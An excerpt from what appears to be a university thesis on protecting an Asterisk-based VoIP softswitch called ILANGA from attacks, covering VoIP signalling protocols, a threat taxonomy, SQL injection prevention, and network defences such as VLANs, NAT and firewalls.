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Abstract 
Traditionally, real-time communication, such as voice calls, has run on separate, 
closed networks. Of all the limitations that these networks had, the ability of 
malicious attacks to cripple communication was not a crucial one. This situation has 
changed radically now that real-time communication and data have merged to share 
the same network. 
The objective of this project is to investigate the securing of softswitches with 
functionality similar to Private Branch Exchanges (PBX) from malicious attacks. The 
focus of the project will be a practical investigation of how to secure ILANGA, an 
ASTERISK-based system under development at Rhodes University. 
The practical investigation that focuses on ILANGA is based on perfonning six varied 
experiments on the different components of ILANGA. Before the six experiments are 
performed, basic preliminary security measures and the restrictions placed on the 
access to the database are discussed. 
The outcomes of these experiments are discussed and the precise reasons why these 
attacks were either successful or unsuccessful are given. Suggestions of a theoretical 
nature on how to defend against the successful attacks are also presented. 
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Chapter 1 Introduction 
1.1 Introduction 
Traditionally, real-time communications such as voice calls have run on separate, 
closed networks. Of all the limitations that these networks had, the ability of 
malicious attacks to cripple communication was not a crucial one. This situation has 
changed radically now that critical real-time communication and data have merged to 
share the same network. 
In recent years, Voice over Internet Protocol (VoIP) has spread throughout the world. 
It has developed from being used in a closed network, within organisations, to being 
used across the Internet. Businesses have grown to depend on VoIP as their first 
option for communication within their organisation, with their customers and their 
partners. Private individuals are using VoIP to communicate cheaply with loved ones 
and friends who are based on different continents. Generally VoIP is being used to 
bypass the Public Switched Telephone Network (PSTN) toll services and to provide 
very cheap or even free communications [5,17,75]. Another drawcard for the use of 
VoIP is that a greater variety of services can be added to a VoIP solution than the 
standard Private Branch Exchange (PBX) or PSTN. These services can be added to a 
VoIP softswitch, a telephony server, through writing new applications that can be 
plugged into the softswitch at little cost to the VoIP service provider and which can 
increase revenues for service providers [5, I 7,75]. 
As more people start to use VoIP and move away from using the PSTN, the more 
VoIP will be compared to the PSTN. People (users) are used to the quality and the 
reliability (availability) that the PSTN has provided for them over the many years that 
it has been in use [56,140]. For VoIP to over take the PSTN as the number one 
method of communication, it will have to match these expectations and provide a 
better service [5,76,148]. 
The reliability of VoIP is the most important factor in realising VoIP as the number 
one method of communication and there are a number of factors that contribute to the 
reliability of VoIP [53]. The PSTN runs on a closed network on which only voice is 
transmitted. Thi s has allowed the PSTN to be sheltered from attacks that have 
crippled the Internet [14,140,141]. 
VoIP could possibly share an open network with data. By the use of the words 'open 
network' , we mean that the network is open to the Internet where anyone can 
communicate with a phone (endpoint), not just through audio packets but also with 
data packets. This has exposed real-time communications to Internet attacks. Also 
since the PBX has been changed from a proprietary system to a common server [141], 
this server has to guarantee the same level of reliability as the proprietary PBX. 
Sen gar et a/. [139], Sicker et al. [140] and Sisalem et al. [141] address problems with 
using a common server as an Internet Protocol Private Branch Exchange (IP-PBX), 
also known as a softswitch. These problems are that real-time communications are 
subject to the same attacks as web servers, email servers, etc. These attacks could be 
in the form of worms, viruses, Trojan horse and Denial of Service (DoS) attacks. This 
is because of the similarity between a softswitch and a web server; they are all 
running the same Operating System (OS) or different variants of the same OS like 
Linux and are all on the same network and might be running the same services, for 
example a database. 
Another problem with a softswitch that guarantees the same level of reliability is that 
it is reliant on other hardware to enable communicate with endpoints. This hardware 
used by a VoIP infrastructure could be in the form of switches, routers, firewalls, 
Domain Name Servers (DNS) and even cables. If any of these are attacked and 
disabled, reconfigured or unplugged this could lead to the softswitch being unable to 
render a service [42,140,141]. 
The VoIP service itself could be targeted for an attack. The service could be 
reconfigured to stop endpoints from communicating with each other, billing could be 
adjusted to allow the attack to make toll-free calls, steal someone's identity, listen in 
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to conversations, read voicemails and even delete voicemails. The attacks on a 
softswitch can come in different levels of degrees. 
An attack could be aimed at bringing down the whole softswitch thus rendering it 
useless to all the clients who use the service. This could be achieved through a DoS 
style attack [141], which could slow down the VoIP service or totally disable the 
service so that clients cannot register with the system. This attack could occur on a 
network service running on the server or on the VoIP service, for example a Session 
Initiation Protocol (SIP) [106] DoS attack. 
An attack could be directed at a certain client, whereby the attacker could disable the 
service for that client. For an individual client the attacker could listen in on the 
conversation by redirecting the conversation through a third party endpoint, receive 
the client's conversation, make calls using the client's 10 to impersonate the client or 
use the client's 10 to make toll-free phone calls. The client's voicemails could also be 
accessed and read or deleted. 
The attacker could adjust the Caller Details Records (CDRs) to hide illegal phone 
calls that have been made to cover his tracks. Al so billing information or the account 
balance could be adjusted to allow the attacker to make free phone calls. This would 
not have an effect on the other users of the VoIP service but would have an effect on 
the company that is providing the VolP service as it would be losing revenue. 
Of the above mentioned different attacks, it would be wise to first secure against the 
attacks that are going to cause the most amount of damage to the VoIP provider and 
their clients. This is the type of attack that would interrupt the service for all the 
clients and cause the VoIP provider to lose the most revenue as no calls would be 
going through the softswitch. The least damaging would be a single illegal client 
establishing toll-free calls. Although all these attacks are dangerous and it is never a 
good si tuation to have an attacker accessing a softswitch for whatever reason, these 
attacks can be ranked to a certain degree and a higher level of importance can be 
placed on an attack that would cause the most harm. 
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Procedures to secure VoIP services from attack would have the following priorities: 
Firstly to prohibit an attacker from disabling the VoIP service through a DoS type 
attack or by gaining access to and reconfiguring the system, so that no other clients 
can use the service. Secondly to prohibit the attackers from targeting a particular 
client and interrupting the service for that particular client or invading the client's 
privacy. Lastly to prohibit attackers from gaining access to the VoIP system and 
making free phone calls or adjusting the CDRs or the billing information. In almost 
all cases this will involve prohibiting the attacker gaining access to the softswitch but 
also preventing the attacker, once he has gained entry to the softswitch, from 
performing certain tasks or running certain functions. 
The objective of this project is to investigate the securing of softswitches with 
functionality similar to PBXs from malicious attacks. The focus of the project will be 
a practical investigation of how to secure ILANGA, an ASTERISK-based [38,144] 
system under development at Rhodes University [10 I]. 
1.2 Aims 
The project aims to investigate securing softswitches from a software perspective, 
using ILANGA as a fundamental base and running experiments against it. ILANGA 
consist of ASTERISK, SIP EXPRESS ROUTER (SER) [66], a MACROMEDIA FLASH PLAYER 
[4] front-end, a PYTHON [104] proxy that communicates between the MACROMEDIA 
FLASH PLAYER front-end, the ASTERISK Manager Application Programming Interface 
(API) and the MYSQL [79] database. 
The goals of the experiments will be to see if vulnerabilities can be found in ILANGA. 
Vulnerabilities that will be checked for include buffer overflows, SIP implementation 
errors and Structured Query Language (SQL) injections. All these vulnerabilities 
could cause the softswitch to crash, reboot, be disabled for a period of time, and allow 
an attacker to gain control of ASTERISK, SER or the ILANGA front-end to reconfigure 
the system settings. A further specific goal is to see if the attacker could, through 
ILANGA, gain control of the server that it runs on. 
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From the experiments run on ILANGA, a general set of guidelines for securing 
softswitches against malicious attacks will be produced that could be applied to a 
generic softswitch. The guidelines will be on how to secure the entry and exit points 
of the softswitch and how the support services are run on a server. 
1.3 Limitation of scope 
The project will not focus on securing the voice calls between end points and the 
softswitch or communications between other softswitches. The project will not focus 
on securing the actual platform that the softswitch is running on. 
A Linux OS is required to run ILANGA and securing the OS is beyond the scope of 
this project. But the OS will be configured as securely as possible. The firewall on the 
server will be set up to only allow communication on the ports that will be required 
for ILANGA to operate correctly. ILANGA will require a web server to be running, as 
ILANGA makes use of a MACROMEDIA FLASH PLAYER [4] user interface for clients to 
log onto the system to listen and delete voicemails, checks their prepaid balances, 
lookup other clients in the directory, check recent calls and make point and click 
phone calls. The security of this user interface will be evaluated with little regard to 
the security of MACROMEDIA FLASH PLA YER itself, as this falls outside the scope of 
this project. The web server that will be running will be an APACHE [149] web server 
and the security of this web server falls outside the scope of this system. It will not be 
evaluated for any security risks. 
ASTERISK, SER and ILANGA all make use of a MYSQL database. The actual security 
of the MYSQL database itself falls outside the scope of this project. As mentioned 
above, the firewall is assumed to only allow communication that is needed for iLanga 
to operate correctly and iLanga does not require any direct outside communication to 
the database. Communication through ASTERISK and ILANGA to the database will be 
evaluated to see if SQL injection could be possible. Other entry and exit points to 
ASTERISK will be evaluated for any risks. This will include the SIP and the Manager 
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API ports. ILANGA uses the Manager API to communication with ASTERISK, so this 
port will be enabled in ASTERISK. SER will only have the SIP port open for outside 
communication and therefore SER will be investigated for its implementation of the 
SIP protocol using a testing tool that will flood SER with malformed SIP packets. 
The experiments that will be run in this thesis will be conducted on the internal 
network, within the firewall and any ALGs. 
1.4 Document structure 
It is important to note that the reference list favours web references. This has been 
unavoidable due to the natllre of the research involved in this project. 
For the reader's convenience and ease of reading, all application names used in this 
text are indicated in SMALL CAPS. Names of databases, tables and users are all 
italicised. 
Chapter 2 introduces background information about the problem that this project aims 
to solve and the terms that are going to be used in this paper. It includes an 
introduction to VoIP and its different protocols, the risks associated with VoIP, the 
current technologies used for securing softswitches, an introduction to the ILANGA 
system and known vulnerabilities of the components of the ILANGA system. 
Chapter 3 is an investigation of the types of attacks that could occur against a 
softswitch. Experiments were conducted to prove if certain types of attacks are 
successful against ILANGA. Its aim is to see how well the soft switch itself can stand up 
against an attack. These attacks will be aimed at disabling the softswitch through DoS 
attacks, SIP implementation vulnerabilities that could allow an attacker to gain control 
of softswitch, SQL injection attacks to manipulate the database either to reconfigure 
the setting of the softswitch or adjust the billing information. 
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Chapter 4 wi ll analyse the results of the experiments described in Chapter 3 and 
discuss the reasons why the experiments were successful or unsuccessful and if it is 
possible to secure a softswitch with a pure software solution. 
Chapter 5 will reflect on the whole project and compare the aims that were stated in 
this introduction with the results analysed in Chapter 4. 
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Chapter 2 . Background and related work 
This chapter introduces and discusses the current state of VoIP with regard to the 
signalling protocols that are used in VoIP, the classification of specific VoIP risks, the 
risks that are inherited from the lower layers in a VoIP architecture, and the current 
methods of securing VoIP. tLANGA, which will be experimented on later in this 
project, is introduced with the known vulnerabilities that have affected the main 
components of the tLANGA system in the past. 
2.1 Voice over IP 
VoIP is the transmission of voice in packetized form [17]. It has allowed real-time 
communication to be handled by common servers on an open network. VoIP is based 
on a handful of protocols with Real-time Transport Protocol (RTP) [112], a transport 
protocol, often used to carry multimedia packets once the connection between 
endpoints has been established using signalling protocols [169]. 
Black [17], Mihai [75] and Sudhir er at. [5] have stated reasons as to why they think 
that there has been an increase in the popularity and interest in VoIP. They have 
agreed upon two reasons: the cost-saving factor of VoIP and the new applications that 
can be introduced through VoIP. 
The cost saving factor of VoIP can be attributed to the fact that phone calls are now 
bypassing the PSTN and making use of Internet backbones for long distance calls. So 
the switch from the PSTN to data network has contributed to the cost savings. 
VoIP presents a new and flexible platform that allows new services and new 
applications to be added to normal telephone services. For example video phone calls, 
conference calls and VoIP can be added into almost any application. This makes for 
exciting new developments in VoIP and will fuel the drive in development for these 
applications and services. 
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As mentioned, VoIP is divided into signalling protocols and transport protocols. The 
next section will discuss these signalling protocols. This discussion will include which 
transport protocols are used with which signalling protocols. 
2.2 VoIP protocols 
There are four major signalling protocols that can be used at the moment, namely: 
SIP, H.323 [155], Inter-Asterisk eXchange (lAX) [145] and Media Gateway Control 
Protocol (MGCP) [7]. MGCP is used to centrally coordinate and monitor events in IP 
phones and telephony gateways from external call control elements and then instruct 
them to deliver the media to a specified address. Telephone gateways provide 
physical interface between the PSTN and a packet-switch network [76, 169]. The rest 
of these protocols are introduced in the following section. 
2.2.1 Session initiation protocol 
SIP is an application layer-control signalling protocol, which has been developed and 
designed by the Internet Engineering Task Force (IETF). Since SIP is a signalling 
protocol it is totally independent of the transport layer. SIP is based on the Hyper Text 
Transport Protocol (HTTP) [43] and HTTP can also be considered a signalling 
protocol. This is because User Agents (UAs), in this case web browsers communicate 
with web servers to retrieve certain web pages [67,169]. 
SIP is used to set up a connection, or session, between two or more endpoints and is 
not the only protocol involved in VoIP communications. A session is defined as a set 
of senders and receivers that communicate with each other, during which this state is 
maintained. SIP makes this communication possible and once this is achieved the 
media communication itself must be achieved by other means. SIP can create, modify 
and terminate call sessions with a number of call participants. Sessions are established 
with INVITE Requests and terminated with BYE Requests. Two other protocols are 
used with SIP, namely RTP and Session Description Protocol (SOP) [54,67, 169]. 
9 
RTP is a multimedia protocol that carries real-time multimedia data. It makes it 
possible to encode and enclose the multimedia data into User Datagram Protocol 
(UDP) packets so that it can be sent over the Internet between the two endpoints [67]. 
SOP is a description protocol used by SIP to describe the encoding capabilities of the 
session participants. Using this description, the endpoints negotiate which encoding 
codecs and which transport protocols are to be used in the session [67]. 
SIP is a client-server protocol where the SIP clients generate SIP Request messages 
and the SIP servers (a softswitch that handles SIP) receive and send responses to the 
messages. In its simplest form it is possible to have just two UAs which contain both 
a User Agent Client (UAC) and a User Agent Server (UAS) communicating with each 
other, but a typical SIP network contains more that one type of SIP component. These 
basic SIP components are UAs, proxies, and registrars and redirect servers [67,169]. 
Only the UAS can accept or reject Request messages. Proxy servers and Redirect 
servers allow endpoints to have some mobility, as the Proxy server forwards the 
Request message to the next Proxy server or to the UAS at the receiving end-system. 
When a Redirect server receives a Request message it returns the Internet Protocol 
(IP) address of the Callee' s UAS to the Caller who then resends the Request message. 
SIP servers provide location contact information by having the user register or update 
hisfher current location on the Location or Registration Server when they log onto the 
system [169]. 
2.2.2 H.323 
The H.323 [71,113,155] series is a set of multimedia communication protocols for use 
on the Internet but not only for that purpose. Although it started out for 
communication on a Local Area Network (LAN) segment without Quality of Service 
(QoS), it has adapted to try and fit the needs of VoIP. It consists of the fo llowing 
protocols: 
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• H.245 for control, 
• H.225.0 for connection establishment, 
• H.332 for large conferences, 
• H.450.1, H.450.2 and H.450.3 for supplementary services, 
• H.235 for security, 
• And H.246 for interoperability. 
H.323 has evolved from the multimedia protocols of H.320 (for Integrated Services 
Digital Network (ISDN) terminals), H.321 (for Broadband Integrated Services Digital 
Network (B-ISDN) terminals), H.324 (for General Switch Telephone Network 
(GSTN) terminals) and H.310 (for Asynchronous Transfer Mode (A TM) terminals) 
and the encoding mechanisms, protocol fields and basic operations are stripped down 
versions of the Q.931 ISDN signalling protocol. This has allowed for interoperability 
between H.323 and the above mentioned protocols, which was achieved from the use 
of common recommendations, procedures and messages [11 3,155]. 
H.323 is a generally complex protocol, compared to SIP. It uses binary representation 
for its messages based on Abstract Syntax Notation One (ASN.l), which requires 
special code-generators to parse. SIP on the other hand is simi lar to HTTP and its 
messages are encoded in text, where parsers can be written easily in PERL (152) and 
HTTP parsers can be easily modified for use with SIP. Besides the message encoding 
H.323 also uses several protocol components for a single service. For example, call 
forwarding uses H.450, H.255.0 and H.245. This use of a number of different 
protocols for a single service leads to firewall traversal problems. This is of great 
concern when communicating wi th other VolP services outside of the internal 
network. Another problem that H.323 has with firewalls, end systems, gatekeepers 
and gateways is that there is an array of options and methods for achieving the same 
results, which requires them to support all of the possible ways [113]. 
A typical H.323 network is comprised of a number of zones where each zone consists 
of a H.323 GateKeeper (GK), a number of H.323 Terminal Endpoints (TEs), for 
example VoIP phones, a number of H.323 GateWays (GWs) and a number of 
II 
Multipoint Control Units (MCUs), which are connected by a LAN. Zones are 
interconnected via a Wide Area Network (WAN), but zones can span a number of 
LANs or just one LAN. A single zone must contain a OK, which administers the 
zones [71] . 
Components of a H.323 network consist of the following descriptions: 
• A TE provides for real-time multimedia two-way communication between 
another TE, a OW or a MCU. A call may be established between two TEs 
either directly or through a GK. 
• The role of a OK in an H.323 network is to provide address translation, access 
control to the network and services such as bandwidth management and 
locating other GWs for TEs, GWs and MCUs. The function of the GK is 
optional in an H.323 system. 
• The H.323 GW provides real-time two-way communication between the TEs 
and the PSTN. 
• The MCU provides multipoint conference capability between three or more 
TEs and GWs [71]. 
2,2.3 Inter-Asterisk exchange 
lAX is both a signalling and transport protocol. The signalling component of lAX is 
similar to SIP and RTP is not used for the transport of media. lAX is a standard VolP 
protocol for ASTERISK networks. A design goal of lAX is to reduce the bandwidth 
usage for both the signalling and transport protocols. Another design goal, unlike SIP, 
lAX allows PBXs and endpoints to be totally portable as one of the features of lAX is 
that it has transparent interoperation with Network Address Translation (NAT) and 
Port Address Translation (PAT) firewalls [143,145]. 
There are two types of users on an lAX2 server, guest users and registered users. 
When a call setup request is initiated by a user the server will return either an 
ACCEPT frame or an AUTHREQ frame if authentication of the user is required and 
the server moves to the Auth state. The server waits for an AUTHREP frame and 
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when received sends an ACCEPT frame and moves to the Auth Reply Received state. 
If no authentication is required the server moves to the No Auth state after the 
ACCEPT frame is sent. In both the Auth Reply Received and the No Auth states the 
server will move to the Accept Received state when an ACK frame is received. From 
here the call is either rejected or completed [145]. 
Authentication is used on incoming and outgoing calls to restrict access to certain 
parts of a dial plan. When endpoints are connected to the Intemet they will register 
with their home PBX and routing extensions will be configured to reach them. By 
using dial plan polling each PBX only has to hold its local extensions and can query a 
central PBX for further extensions [143]. 
2.3 Classification of risks towards VoIP 
The Voice over IP Security Alliance (VoIPSA) [42] has developed a VoIP security 
and threat taxonomy which defines the potential security threats to VolP systems, 
services and end users. The following is a summary taken from the VoIPSA 's 
taxonomy and how it applies to securing softswitches. The taxonomy discusses social 
threats, eavesdropping, interception and modification, service abuse, intentional 
interruption of service and other interruptions of service. 
Under social threats, the user' s rights are discussed with reference to privacy and how 
it relates to security and their social responsibility; also discussed is a model for multi-
party freedom, and how it is applicable to any public communications system. The 
eavesdropping section describes different types of attacks that can occur between two 
or more endpoints in a VoIP system. The section titled Interception and Modification 
describes classes of attacks when the attacker can see the entire signalling and data 
stream between two endpoints and can also interact in the conversation between the 
two endpoints. These three sections involve threats that will not be considered for this 
project, such as attacking the VoIP system between two or more endpoints. This 
project is only concerned with securing the softswitch, as mentioned in Section 1.3. 
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Improper bypass or adjustment to billing, in the service abuse section, can be 
achieved through a softswitch and will be considered a risk for this project. This can 
be accomplished through either adjusting the call details record in the database, in this 
case a MySQL database, or by using SIP signalling packets to end the call but to 
continue with the media stream. 
The intentional interruption of service section is the section that is of greatest interest 
for this project and a security model. VolP specific risks which Anwar et al. [8), 
Mihai [75) and Sass [III) all agree with, will be described in the rest of this section 
and in the next section, risks inherited from the lower layers in a VoIP architecture 
will be drawn up primarily from the VoIPSA threat taxonomy [42) . 
2.3.1 Voice over IP specific risks 
Request flooding 
VoIP specific DoS involves request flooding, which occurs when the softswitch or 
endpoints are continually receiving a large number of valid and/or invalid requests 
that overwhelm them. 
The fo llowing are request flooding types of attacks that can affect a softswitch: 
• User call flooding, overflowing to other devices occurs when a large number 
of requests are sent to a user's endpoint, but while the endpoint may be able to 
handle the call load, the user will continually be interrupted. This type of 
attack may affect a softswitch because some of these calls will overflow onto 
the voicemail kept at the softswitch. 
• Softswitch flooding involves sending a large number of valid or invalid request 
messages to a softswitch, which could result in the softswitch craShing, 
rebooting or exhausting the resources for an extended time period. 
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• A request looping attack requires two endpoints to continually forward a 
single request message between them, thus exploiting loop and spiral 
implementation, continually forwarding a message back and forth, on the 
softswitch and exhausting the resources of the softswitch. 
• Directory service flooding involves sending a large number of valid requests 
to a VoIP directory service which could be located on a softswitch. This could 
stop endpoints from using this service or, if the service is located on the 
softswitch, the attack could disable the softswitch. 
Malformed requests and messages 
Malformed requests and messages pose a threat to VoIP implementations because the 
specifications for control messages are deliberately left open-ended. This is done so 
that additional services and capabilities can be added at a later date, but the negative 
effect of this open specification is that it is not possible to fully test if all valid 
messages are being processed correctly, or if invalid messages are being recognised 
correctly. A specially crafted message could be used as a "killer message" to launch a 
DoS attack on an endpoint or softswitch. 
There are two types of malformed requests and messages that could affect a 
softswitch: 
• Injecting invalid media into softswitches can be done after guessing the correct 
control headers of the media stream. This could cause endpoints and 
softswitches to crash, reboot or exhaust all resources. 
• Malformed protocol messages can be used to attack a specific protocol 
implementation in a softswitch and degrade its performance, resulting in the 
softswitch not functioning to its full capacity. A way of testing a protocol 
implementation is by a method called fuzzing. Fuzzing involves creating 
unanticipated types of messages for the protocol which will push the 
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boundaries of the protocol's implementation and might disable the softswitch 
or degrade its performance. 
Spoofed messages 
This is when an attacker is able to inject illegitimate but correctly formed messages 
into a signal path and have these messages accepted by the VoIP system. For 
example, the VoIP system could be affected by a faked call teardown message. 
A faked call teardown message is a type of DoS attack that can be used against a 
softswitch by the attacker gathering information about a session and then sending, for 
example, a spoofed SIP BYE message to the softswitch. The soft switch interprets this 
as one of the endpoints wanting to terminate the session, so the softswitch tears down 
the session, denying the service to the endpoints involved in the session. 
There are three main risks specific to VoIP: Request flooding, Malformed requests 
and messages and Spoofed messages. Request flooding. which occurs when the 
softswitch or endpoints are continually queued with a large number of valid and/or 
invalid requests until the target is overwhelmed and disabled. Malformed requests and 
messages have a negative effect on VoIP as these requests and messages can be used 
as 'killer messages' to launch DoS attacks on softswitches. Spoofed messages also 
pose a threat to VoIP as an attacker could inject illegitimate messages into a signal 
path and have the softswitch behave in a certain way, enabling the attacker to control 
the softswitch. The next section discusses the risks that are inherited from the lower 
layers in a VoIP architecture and though these risks fall outside the scope of this 
project, as noted in Section 1.3, it is fundamental to know about them. 
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2.4 Risks inherited from the lower layers in the VoIP 
architecture 
This section will discuss the risks that are not VoIP specific but are inherited from the 
lower layers in the VoIP architecture. These risks include: The underlying OS , IP 
network services, the database and the MACROMEDIA FLASH PLAYER. These risks fall 
outside the scope of this project as stated in Section 1.3. MACROMEDIA FLASH PLA YER 
is not a VoIP specific application, it was used in tLANGA to add a rich user interface 
and this is why the security of it falls outside of the scope of this project. 
2.4.1 Underlying operating system 
A softswitch or any other type of VoIP service inherits the vulnerabilities of the OS 
that it runs on [42]. Although this may sound trivial, it is a great and often 
underestimated risk. A user could be running the most secure VoIP service but may 
have neglected to keep the OS up to date with patches and updates. If this is the case, 
the attacker would be able to disable the VoIP service by bringing down the server 
that the service is running on through vulnerabilities in the server's OS. 
2.4.2 IP network services 
A VoIP system runs on a normal IP network or shares a network with a data network, 
thus there are a vast number of network vulnerabilities and attacks, for example a 
smurf attack [52], that could affect the network on which the VoIP network is 
running. An attack on a VoIP network service could occur from an attack on a 
specific network component [42]. An attack on a network component, say a router, 
could crash, reboot, congest, or even reconfigure the component, and this would 
interrupt or forbid the VoIP service from functioning properly or from functioning at 
all. 
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IP Network services can also be interrupted through physical access to network 
components (42). This could result in intentional loss in power to network 
components, components being unplugged and network cables being cut. 
2.4.3 The database - SQL injection 
All softswitches have a backend database for configurations, billing information, 
CDRs and subscriber information, to name but a few functions. This database can be 
subject to SQL injection attacks, where the attacker could copy, modify or even delete 
the restricted data stored in a database and could also make alterations to the database 
structure (19). This could have important implications for a VoIP system, from losing 
revenue for the VoIP provider to rendering the VoIP system inaccessible to other 
users on the network. 
SQL injection is a method of inserting additional SQL statements into a query that 
will be executed on the backend database. Inserting these additional SQL statements 
can be done through a Web-based application which will allow these SQL statements 
to pass through the firewall to the backend database and thus taking advantage of non-
validated SQL vulnerabilities [19,109]. For SQL injection to be possible, dynamic 
SQL must be used in the application. Dynamic SQL is the use of SQL commands 
combined with user-provided parameters. It is within these user-provided parameters 
that an attacker can inject other SQL commands by adding a single quote (' ) to the 
parameters and cause a second query to be executed with the first. The reason why 
SQL injection can pass through a firewall is because traditionally a firewall operates 
at the network layer whereas SQL injection takes place at the session layer. This 
allows an attack via a web server using a legitimate user's database access. 
SQL error messages can also assist the attacker by finding out about the underlying 
database and the SQL query that the attacker is trying to inject into. Information can 
be learnt about the table or its field names and types [19]. 
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An attacker may be motivated to use SQL injection for three main reasons [J09]: 
1. To access data that the attacker could not normalIy access. 
2. To colIect information about the system configuration in order to build a 
profile of it. 
3. To compromise the database and then gain access to the host computer. 
There are a number of methods for preventing SQL injection [J09]. Firstly, database 
users should have the fewest privileges needed to perform their required task. This 
includes access to tables and the commands that they can execute. Secondly, error 
tracing should be done on the log files for any irregular SQL statements. Although not 
in real-time, this method wilI bring the attention of the system administrator to any 
SQL injection attempts. Thirdly, error messages should be suppressed, giving security 
through obscurity. Error messages can provide information to an attacker to make 
more informed decisions on the next attack strategy. Lastly, input validation is 
important to reduce the attack surface of an application. Web clients should validate 
alI input before sending it to the server, although client-side validation does nothing 
for server security because attackers can send messages directly to the server. Server-
side validation should be approached as folIows [16]: 
• Validating the input according to certain constraints, for example, 
length, type, range and format. 
• Using SQL signatures to filter out known malicious data. 
• Sanitising data, for example, escaping characters. 
2,4,4 MACROMEDIA FLASH PLAYER 
MACROMEDIA FLASH PLAYER [4] has a security model [72] which has been designed 
around resources such as SWF files, local data and Internet Uniform Resource 
Locators (URLs). These resources are owned by the stakeholders in the system and 
these stakeholders can exercise security controls over their resources. Stakeholders 
are people with interests in the correct operation of MACROMEDIA FLASH PLAYER and 
the protection of their data and resources. Stakeholders are organised into a hierarchy 
of authority in this order: Administrator, User, Website, and Author, with the 
Administrator having total control over the resources. For example, if the 
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Administrator restricts access to a resource no other stakeholder can access this 
resource; if a User restricts control over a resource, the Administrator will be able to 
access it but not an Author. 
The MACROMEDIA FLASH PLAYER security model can protect stakeholders against 
potential risks [72]. These risks could involve innocent bugs. All computer programs 
have bugs that could have found their way into the computer program in the design or 
implementation stage of the program life cycle. These bugs could lead to security 
problems in the program that could be exploited by attackers through malicious code 
and entities, or could cause unexpected behaviour of the program. The MACROMEDIA 
FLASH PLA YER has been designed to stop bugs such as buffer overflows and cross-site 
scripting. 
Other users in the system are also entities in the system and they could tum into 
malicious entities trying to attack the system by accessing information or other 
entities that they do not have permission to access. The MACROMEDIA FLASH PLAYER 
security model guards against the sharing of information. Other stakeholders may not 
access (read, modify) resources without permission to do so from the stakeholders 
that own the resource(s). 
MACROMEDIA FLASH applications [72] run on OSs where there are other programs 
running too. These other programs may be malicious programs, such as worms or 
viruses, and these programs may be used to attack the MACROMED1A FLASH 
application. 
There are three other broader potential security risks that the MACROMEDIA FLASH 
PLAYER can protect all stakeholders from by not allowing content to allocate its own 
memory, install software or make changes to the OS without permission [72]. They 
are unauthorized access to local data, unauthorized access to end-user information, 
and the unauthorized access to host system resources. 
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2.5 Current technologies for securing softswitches 
This section describes five methods to secure a softswitch against malicious attacks. It 
pays particular attention to the advantages and disadvantages of each technology. 
2.5.1 Virtual local area networks 
Virtual Local Area Networks (VLANs) [74] allow switches to create separate 
broadcast domains as routers, but across different physical LAN segments and ideally 
without latency problems. allowing switches to contain broadcast traffic [37.157]. 
Combining devices into logical broadcast domains will confine broadcast traffic to 
just these devices and reduce traffic on the rest of the network. This will also increase 
the security of the network, as access can be restricted from other VLANs [157]. 
Advantages 
A benefit VoIP can gain from using VLANs is that if the data network is 
compromised by a virus or an attack. the voice traffic will be untouched because it is 
separated by logical barriers from the data traffic as shown in Figure I [37,157]. 
" 
Figure 1: VoIP and data VLANs 
Voice 
traffic 
VLAN sw itch 
The switch checks 
the VLAN tag on 
the packet and sends 
the packet \0 the 
correct VLAN 
21 
O;l.!Ilrufic 
Disadvantages 
For an VLAN environment, a special server is needed to handle broadcast traffic 
[157]. This server has a limit in the amount of broadcast traffic it can handle. If 
protocols such as Internetwork Packet Exchange (IPX) or AppleTalk are running 
within individual VLANs which use extensive amounts of broadcast traffic, more than 
standard networks, special consideration needs to be gi ven to the size and 
configuration of the VLAN. VLANs may grow to a point where the work requirement 
for moving or making changes to memberships becomes just as difficult as updating 
routing tables [37] . The people who work in teams and are on the same workgroup 
normally want to be physically close to each other, rather than to reduce traffic across 
the network [37]. 
Although VLANs will be able to protect the voice traffic from outside attacks, it will 
not be able to protect against internal attacks where the attacker has access to the 
voice VLAN. 
2,5,2 Network address translation 
NAT [68,148] can be used to hide the internal network addresses and topology and 
enable multiple endpoints to access the Internet through a shared public IP address 
thus reducing the need for more globally unique IP addresses. This is accomplished 
by converting the outgoing packets' IP header from the internal IP address to the 
router's public IP address. Network Address and Port Translation (NAPT) allows 
several endpoints to simultaneously share the router's public IP address by converting 
the Transmission Control Protocol (TCP) or UOP headers. NAT has have advantages 
and disadvantages in the context of VoIP security. 
Advantages 
Security can be improved as the internal IP addresses are less accessible from the 
public Internet [165]. All the attacks against the network are focused on the NAT 
router itself, which is the only point of entry into the internal network. Routers are 
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generally more secure than other endpoints because fewer ports are open and fewer 
programs are run on the router. The associated downside is that the NAT router is the 
only exit point to the Internet and if this is taken down by an attack, the internal 
network will be cut off from the Internet. 
VoIP endpoints can be placed on a NATed subnet, which will save public addresses 
to be used elsewhere, as the VoIP endpoints will be able to access the Internet through 
the softswitch. The structure of the VoIP subnet will be hidden from an attacker if the 
firewall is compromised, as seen in Figure 2. In the figure the attacker will be able to 
access the softswitch on the public address of l46.XX.X if the firewall is 
compromised. The attacker will not be able to access the VoIP subnet unless the 
attacker gains control of the softswitch. The softswitch will form the one entry/exit 
point for the VoIP subnet. This could work similarly to a VLAN where the VoIP 
endpoints are isolated into their own subnet. 
Softswitch 
LF:::":,:,w::,:lIj ...,::14:::;6.::;X.::;X':::'X-1 with NAT 
VolP 
..._---..../ Vo lP 
device 
VolP VolP 
device device 
Figure 2: Structure of a VoIP NAT'ed subnet 
Disadvantages 
In NAT environments the call establishment becomes complicated as the external 
caller wanting to call a VoIP endpoint behind a NAT router will need to know the 
external IP address and port number that the router will assign to it [68]. This is 
virtually impossible and could lead to only outgoing calls being established. A 
solution to this problem has been defined in RFC 3489 [107] , Simple Traversal of 
UDP Through NAT (STUN). STUN is a lightweight protocol that allows applications 
to learn the presence and type of NAT being used and also allows the applications to 
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learn the public IP address that has been allocated to them by the NAT. STUN is 
compatible with many NAT environments and the NAT require no changes 
[8,68, 107]. 
All traffic leaving the internal network has to pass through the NAT which could act 
as a bottleneck, degrading the Quality of Service (QoS) for VoIP [68]. This is because 
a NAT has to convert each packet's source or destination address and port. 
2.5.3 Application level firewalls 
The introduction of VoIP to the corporate network has presented some challenges to 
firewall security policies. RTP ports are assigned dynamically when a call is 
established and the problem that this presents is that there is no way to know which 
ports to leave open on the firewall [8,68] . Also, the range of ports that can be used for 
RTP streams is large, so leaving all the ports open will be out of the question. 
VoIP traffic typically travels across UDP and firewalls usually handle this traffic by 
using packet filtering [68]. Packet filtering examines the headers of each packet and 
use the IP address, port number and protocol type to check the packet's legitimacy. 
There are two types of packet filtering firewalls, namely stateless and stateful. 
Stateless firewalls do not remember previous traffic. Stateful firewalls do remember 
the traffic and can handle application traffic not destined for a static port. It is 
recommended that all VolP phones be placed behind a stateful and application-aware 
firewall [8] . 
